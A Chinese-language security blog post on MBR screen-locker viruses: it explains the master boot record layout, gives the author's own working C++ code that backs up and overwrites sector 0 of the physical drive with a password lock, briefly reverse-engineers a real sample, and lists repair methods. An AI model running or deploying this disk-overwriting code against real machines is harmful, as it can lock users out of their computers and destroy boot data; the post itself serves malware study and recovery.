ScareCrowL's blog

To maintain world peace

【Virus】MBR锁机病毒原理与简单逆向

  在卡饭和吾爱上经常看到各种MBR锁,手痒痒,参考网上资料自制锁机,逆向学习下~同时要说明的是现在大多MBR锁都是恶搞为主的简单国产易语言,如果真的有RSA加密勒索门罗币这样的麻烦哪位大佬给我发个样本谢谢哈!

0x01 什么是MBR锁机病毒

  MBR病毒是指寄生在磁盘引导区或主引导区的计算机病毒。病毒利用系统引导时,不对主引导区内容正确与否进行判别的缺点从而入侵系统,勒索或进行其它破坏。

0x02 病毒原理

  主引导区共512字节,官方没有导出结构,但不公开的东西,也总会可以逆出来,结构体如下:

typedef struct _MBR  
{  
    unsigned char BootRecord[440];    // 引导程序  
    unsigned char ulSigned[4];        // Windows磁盘签名  
    unsigned char sReserve[2];        // 保留位  
    unsigned char Dpt[64];            // 分区表  
    unsigned char EndSign[2];         // 结束标志  
}MBR, *PMBR;  

《【Virus】MBR锁机病毒原理与简单逆向》

引导程序:0x0——0x1b7(MBR的前440个字节),引导程序会判断MBR的有效性,判断磁盘分区的合法性,并且把控制权交给操作系统。
磁盘签名:0x1b8——0x1bb(4字节),Windows依靠磁盘签名来识别硬盘。如果该签名丢失,则Windows认为该磁盘没有被初始化,是没法开机的。
保留位:
0x1bc——0x1bd(2字节)
分区表:0x1be——0x1fd(64字节),分区表被称为DPT(DiskPartition Table),它在MBR中是一个非常关键的数据结构。分区表是用来管理硬盘分区的,如果丢失或者被破坏的话,硬盘的分区就会丢失。
结束标志:0x1fe——0x1ff(2字节),DPT后面两个字节,“55 AA”

如图:

《【Virus】MBR锁机病毒原理与简单逆向》

0x03 编程实现MBR表替换

最简单的、有道德的锁机病毒一般会将原始扇区的内容存放到后面的扇区中保存。

#define  KeySize 0xEB
#define  Key (KeySize+1)
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
int ReadDisk(int Id, int num, unsigned char *buffer);
int WriteDisk(int Id, int num, unsigned char* buffer);

void CLock_DiskDlg::OnBnClickedButton1()
{
    CString c_Str;
    CStringA c_StrA;
    char ckeys[256] = { 0 };
    unsigned char cMbr[512] = { 0 };
    int nLen; //锁里面的密码长度只有8位

    GetDlgItemText(IDC_EDIT1, c_Str);
    c_StrA = c_Str;

    memcpy(ckeys, c_StrA.GetBuffer(c_StrA.GetLength()), c_StrA.GetLength());
    nLen = strlen(ckeys);
    if (nLen == 0 || nLen >= 10)
    {
        MessageBoxA(0, "密码应在0-10位",0 , 0);
    }

    //对锁进行加工
    lock_disk[KeySize] = nLen;
    memcpy(&lock_disk[Key], ckeys, nLen);
    if (ReadDisk(0, 1, cMbr) == 0)
    {
        getchar();
        exit(-1);
    }
    WriteDisk(2, 1, cMbr);
    WriteDisk(0, 1, lock_disk);
    MessageBoxA(0,"加锁成功!勿重复加!",0,0);

    // TODO: 在此添加控件通知处理程序代码
}

int ReadDisk(int Id, int num, unsigned char *buffer)
{
    /*
    读取扇区
    id = ID号
    num = 读取数量
    成功返回读取字节数
    */
    HANDLE hFile = NULL;
    int offset = 0;
    int ReadSize = 0;
    DWORD Readed = 0;
    offset = Id * 512;
    ReadSize = num * 512;
    if (buffer == NULL)
    {
        return ReadSize;
    }
    hFile = CreateFileA("\\\\.\\\\physicaldrive0",
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBoxA(0, "不能打开 \\\\.\\\\physicaldrive0", 0, 0);
        return 0;
    }
    SetFilePointer(hFile, offset, 0, 0);
    ReadFile(hFile, buffer, ReadSize, &Readed, NULL);
    CloseHandle(hFile);
    return Readed;
}
int WriteDisk(int Id, int num, unsigned char* buffer)
{
    /*
    写扇区
    */
    HANDLE hFile = NULL;
    int WriteSize = 0;
    int offset = 0;
    DWORD Writed = 0;
    offset = Id * 512;
    WriteSize = num * 512;
    if (buffer == NULL)
    {
        return WriteSize;
    }
    //打开
    hFile = CreateFileA("\\\\.\\\\\physicaldrive0", 1073741824, 1, 0, 3, 128, 0);
    if (hFile == INVALID_HANDLE_VALUE)
    {
        MessageBoxA(0, "不能打开 \\\\.\\\\physicaldrive0", 0, 0);
        return 0;
    }
    SetFilePointer(hFile, offset, 0, 0);
    WriteFile(hFile, buffer, WriteSize, &Writed, 0);
    CloseHandle(hFile);
    return WriteSize;
}

至于扇区内容就不贴出来了,有点危险,网上也有,总之这就是一段机器码,编写起来很麻烦,用汇编写完后nasm编译为bin文件再用winhex全部复制为c代码,贴进工程就好了~

运行效果:
《【Virus】MBR锁机病毒原理与简单逆向》

此时打开winHex发现主扇区已经变化
《【Virus】MBR锁机病毒原理与简单逆向》

往下滑动可以看到我们把原来的1扇区备份到了3扇区的位置

重启后可以看到

《【Virus】MBR锁机病毒原理与简单逆向》
输入密码运行成功~
备注:xp测试成功,win7测试不成功,兼容性还有问题

0x04 Bin文件简单逆向分析

  正常分析病毒应该从可执行文件的恶意行为入手,在这里利用卡饭上的一个恶意锁机进行简单分析:

样本类型:MBR感染
样本MD5:955b66c722ca993dd11fbe56bbf92525
壳信息:无壳

行为:此病毒只是恶意锁机输出字符串,并没有保存和恢复的功能,也即没有我们编程实现的保存旧扇区的操作~

一些细节:
1.SeDebugPrivilege等windows字符权限名称,用于提权
一般搭配以下四个函数:
GetCurrentProcessID 得到当前进程的ID 
OpenProcessToken 得到进程的令牌句柄
LookupPrivilegeValue 查询进程的权限 
AdjustTokenPrivileges 判断令牌权限

《【Virus】MBR锁机病毒原理与简单逆向》

《【Virus】MBR锁机病毒原理与简单逆向》

2.读取写入扇区等

《【Virus】MBR锁机病毒原理与简单逆向》

《【Virus】MBR锁机病毒原理与简单逆向》

控制码传输的方式与驱动层通信
writeFile:向MBR写200数据(512字节一个扇区)

选择前512字节,右键->选择->复制选块->置入新文件
IDA中打开
《【Virus】MBR锁机病毒原理与简单逆向》

为什么加载到0x7c00呢?计算机启动是这样一个过程:

  1. 通电
  2. 读取ROM里面的BIOS,用来检查硬件
  3. 硬件检查通过
  4. BIOS根据指定的顺序,检查引导设备的第一个扇区(即主引导记录),加载在内存地址 0x7C00
  5. 主引导记录把操作权交给操作系统
    (来自阮一峰的博客)

计算机最早是使用86-DOS,这个操作系统需要的内存最少是32KB,为了把尽量多的连续内存留给操作系统,主引导记录就被放到了内存地址的尾部,并一直延用至今。

将代码简单整理:

《【Virus】MBR锁机病毒原理与简单逆向》

《【Virus】MBR锁机病毒原理与简单逆向》

0x05 修复:

1.参考https://www.52pojie.cn/thread-301587-1-1.html
2.直接虚拟机加载PE->PTDD修复

《【Virus】MBR锁机病毒原理与简单逆向》

3.备份我们的MBR主引导分区

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注